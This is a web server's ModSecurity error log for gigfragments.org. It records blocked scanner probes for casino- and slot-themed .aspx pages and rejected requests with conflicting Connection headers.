[Sat Mar 07 07:36:38.903985 2026] [:error] [pid 52484:tid 52506] [client 51.77.218.189:37804] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aatlBvE9AnX6zUICFeQtCQAAAQM"]
[Sat Mar 07 07:36:41.101847 2026] [:error] [pid 52484:tid 52507] [client 51.77.218.189:37818] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aatlCfE9AnX6zUICFeQtEwAAAQQ"]
[Sat Mar 07 07:36:43.411499 2026] [:error] [pid 52484:tid 52516] [client 51.77.218.189:37082] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aatlC_E9AnX6zUICFeQtHQAAAQ0"]
[Sat Mar 07 07:36:45.610834 2026] [:error] [pid 52484:tid 52514] [client 51.77.218.189:37088] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aatlDfE9AnX6zUICFeQtJQAAAQs"]
[Sat Mar 07 07:36:47.691526 2026] [:error] [pid 52484:tid 52514] [client 51.77.218.189:37098] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aatlD_E9AnX6zUICFeQtLgAAAQs"]
[Sat Mar 07 07:36:49.758243 2026] [:error] [pid 52484:tid 52526] [client 51.77.218.189:37114] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aatlEfE9AnX6zUICFeQtOAAAARY"]
[Sat Mar 07 07:36:51.714155 2026] [:error] [pid 4315:tid 4448] [client 51.77.218.189:37118] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aatlE9DEK9AXzxu9OShM0wAAAIE"]
[Sat Mar 07 07:36:53.891053 2026] [:error] [pid 4609:tid 4647] [client 51.77.218.189:45698] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aatlFeP7JMxUbw4Fd1ZaZAAAANM"]
[Sat Mar 07 07:36:55.788070 2026] [:error] [pid 4307:tid 4391] [client 51.77.218.189:45706] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aatlFzeKp4wgnLc38f9ZNwAAAAk"]
[Sat Mar 07 07:36:57.821612 2026] [:error] [pid 4609:tid 4631] [client 51.77.218.189:45722] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aatlGeP7JMxUbw4Fd1ZaawAAAMM"]
[Sat Mar 07 07:39:05.904023 2026] [:error] [pid 52484:tid 52521] [client 144.172.115.113:53723] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aatlmfE9AnX6zUICFeQuFQAAARE"], referer: https://www.reddit.com/r/technology
[Sat Mar 07 07:39:08.168870 2026] [:error] [pid 4307:tid 4385] [client 144.172.115.113:54283] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aatlnDeKp4wgnLc38f9ZWgAAAAM"], referer: https://www.etsy.com
[Sat Mar 07 07:39:11.085365 2026] [:error] [pid 52484:tid 52512] [client 144.172.115.113:54794] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aatln_E9AnX6zUICFeQuIAAAAQk"], referer: https://www.yandex.ru
[Sat Mar 07 07:39:13.373254 2026] [:error] [pid 52484:tid 52522] [client 144.172.115.113:55318] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aatlofE9AnX6zUICFeQuIwAAARI"], referer: https://www.foxnews.com
[Sat Mar 07 08:09:41.987999 2026] [:error] [pid 52484:tid 52521] [client 110.166.71.39:47241] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aatsxfE9AnX6zUICFeREAAAAARE"]
[Sat Mar 07 08:12:00.282516 2026] [:error] [pid 4609:tid 4637] [client 51.77.43.170:40850] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aattUOP7JMxUbw4Fd1ZrFQAAAMk"]
[Sat Mar 07 08:12:02.274908 2026] [:error] [pid 52484:tid 52515] [client 51.77.43.170:48920] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aattUvE9AnX6zUICFeRGoQAAAQw"]
[Sat Mar 07 08:12:04.372355 2026] [:error] [pid 4609:tid 4641] [client 51.77.43.170:48930] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aattVOP7JMxUbw4Fd1ZrJwAAAM0"]
[Sat Mar 07 08:12:06.503134 2026] [:error] [pid 52484:tid 52517] [client 51.77.43.170:48944] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aattVvE9AnX6zUICFeRGyAAAAQ4"]
[Sat Mar 07 08:12:08.449828 2026] [:error] [pid 4311:tid 4435] [client 51.77.43.170:34016] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aattWHbyS653WMGf2vUJPAAAAFA"]
[Sat Mar 07 08:12:11.449018 2026] [:error] [pid 52484:tid 52516] [client 51.77.43.170:34022] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aattW_E9AnX6zUICFeRG7wAAAQ0"]
[Sat Mar 07 08:12:13.551288 2026] [:error] [pid 4315:tid 4451] [client 51.77.43.170:34026] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aattXdDEK9AXzxu9OShW-gAAAIQ"]
[Sat Mar 07 08:12:15.907320 2026] [:error] [pid 52484:tid 52512] [client 51.77.43.170:34042] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aattX_E9AnX6zUICFeRHCAAAAQk"]
[Sat Mar 07 08:12:17.911874 2026] [:error] [pid 4609:tid 4633] [client 51.77.43.170:55466] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aattYeP7JMxUbw4Fd1ZrPgAAAMU"]
[Sat Mar 07 08:12:21.023273 2026] [:error] [pid 4609:tid 4644] [client 51.77.43.170:55476] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aattZeP7JMxUbw4Fd1ZrRAAAANA"]
[Sat Mar 07 08:12:23.520891 2026] [:error] [pid 52484:tid 52516] [client 51.77.43.170:55484] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aattZ_E9AnX6zUICFeRHLQAAAQ0"]
[Sat Mar 07 08:12:25.702816 2026] [:error] [pid 4609:tid 4642] [client 51.77.43.170:55490] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aattaeP7JMxUbw4Fd1ZrTwAAAM4"]
[Sat Mar 07 08:12:28.489498 2026] [:error] [pid 4609:tid 4644] [client 51.77.43.170:49752] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aattbOP7JMxUbw4Fd1ZrXAAAANA"]
[Sat Mar 07 08:12:30.448434 2026] [:error] [pid 52484:tid 52515] [client 51.77.43.170:49760] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aattbvE9AnX6zUICFeRHPwAAAQw"]
[Sat Mar 07 08:12:32.580453 2026] [:error] [pid 4311:tid 4424] [client 51.77.43.170:49770] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aattcHbyS653WMGf2vUJUQAAAEU"]
[Sat Mar 07 08:12:34.780029 2026] [:error] [pid 4307:tid 4396] [client 51.77.43.170:49782] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aattcjeKp4wgnLc38f9dDQAAAA4"]
[Sat Mar 07 08:12:36.773212 2026] [:error] [pid 52484:tid 52510] [client 51.77.43.170:49794] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aattdPE9AnX6zUICFeRHVQAAAQc"]
[Sat Mar 07 08:12:38.974042 2026] [:error] [pid 4315:tid 4464] [client 51.77.43.170:46134] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aattdtDEK9AXzxu9OShXLQAAAJA"]
[Sat Mar 07 08:12:41.030440 2026] [:error] [pid 52484:tid 52503] [client 51.77.43.170:46144] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aattefE9AnX6zUICFeRHawAAAQA"]
[Sat Mar 07 08:12:43.019222 2026] [:error] [pid 4609:tid 4641] [client 51.77.43.170:46166] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aatte-P7JMxUbw4Fd1ZrcAAAAM0"]
[Sat Mar 07 08:12:45.175866 2026] [:error] [pid 4315:tid 4470] [client 51.77.43.170:46170] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aattfdDEK9AXzxu9OShXPAAAAJU"]
[Sat Mar 07 08:12:48.812725 2026] [:error] [pid 4315:tid 4447] [client 51.77.43.170:48144] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aattgNDEK9AXzxu9OShXQgAAAIA"]
[Sat Mar 07 08:12:50.746133 2026] [:error] [pid 4307:tid 4389] [client 51.77.43.170:48152] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aattgjeKp4wgnLc38f9dGAAAAAc"]
[Sat Mar 07 08:12:53.241618 2026] [:error] [pid 4609:tid 4652] [client 51.77.43.170:48166] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aattheP7JMxUbw4Fd1ZrfAAAANg"]
[Sat Mar 07 08:12:55.634944 2026] [:error] [pid 52484:tid 52524] [client 51.77.43.170:48178] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aatth_E9AnX6zUICFeRHkwAAARQ"]
[Sat Mar 07 08:13:42.702167 2026] [:error] [pid 4609:tid 4636] [client 51.77.43.170:40658] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aatttuP7JMxUbw4Fd1ZrwAAAAMg"]
[Sat Mar 07 08:13:45.035314 2026] [:error] [pid 52484:tid 52509] [client 51.77.43.170:40266] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aattufE9AnX6zUICFeRIQwAAAQY"]
[Sat Mar 07 08:13:46.993430 2026] [:error] [pid 4311:tid 4438] [client 51.77.43.170:56106] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aattunbyS653WMGf2vUJkgAAAFM"]
[Sat Mar 07 08:13:51.259733 2026] [:error] [pid 4315:tid 4459] [client 51.77.43.170:56122] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aattv9DEK9AXzxu9OShXegAAAIw"]
[Sat Mar 07 08:13:54.052538 2026] [:error] [pid 52484:tid 52519] [client 51.77.43.170:56128] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aattwvE9AnX6zUICFeRISgAAAQ8"]
[Sat Mar 07 08:14:00.320784 2026] [:error] [pid 4311:tid 4421] [client 51.77.43.170:54240] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aattyHbyS653WMGf2vUJmgAAAEI"]
[Sat Mar 07 08:14:02.704523 2026] [:error] [pid 52484:tid 52521] [client 51.77.43.170:54244] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aattyvE9AnX6zUICFeRIawAAARE"]
[Sat Mar 07 08:14:06.488007 2026] [:error] [pid 4609:tid 4629] [client 51.77.43.170:54252] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aattzuP7JMxUbw4Fd1Zr4gAAAME"]
[Sat Mar 07 08:14:09.937219 2026] [:error] [pid 52484:tid 52509] [client 51.77.43.170:53782] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aatt0fE9AnX6zUICFeRIhQAAAQY"]
[Sat Mar 07 08:14:14.419352 2026] [:error] [pid 4311:tid 4442] [client 51.77.43.170:53786] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aatt1nbyS653WMGf2vUJpgAAAFc"]
[Sat Mar 07 08:14:16.892702 2026] [:error] [pid 4315:tid 4468] [client 51.77.43.170:39310] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aatt2NDEK9AXzxu9OShXmgAAAJM"]
[Sat Mar 07 08:14:21.323636 2026] [:error] [pid 52484:tid 52514] [client 51.77.43.170:39320] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aatt3fE9AnX6zUICFeRIqgAAAQs"]
[Sat Mar 07 08:14:24.350589 2026] [:error] [pid 52484:tid 52525] [client 51.77.43.170:39326] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aatt4PE9AnX6zUICFeRIsgAAARU"]
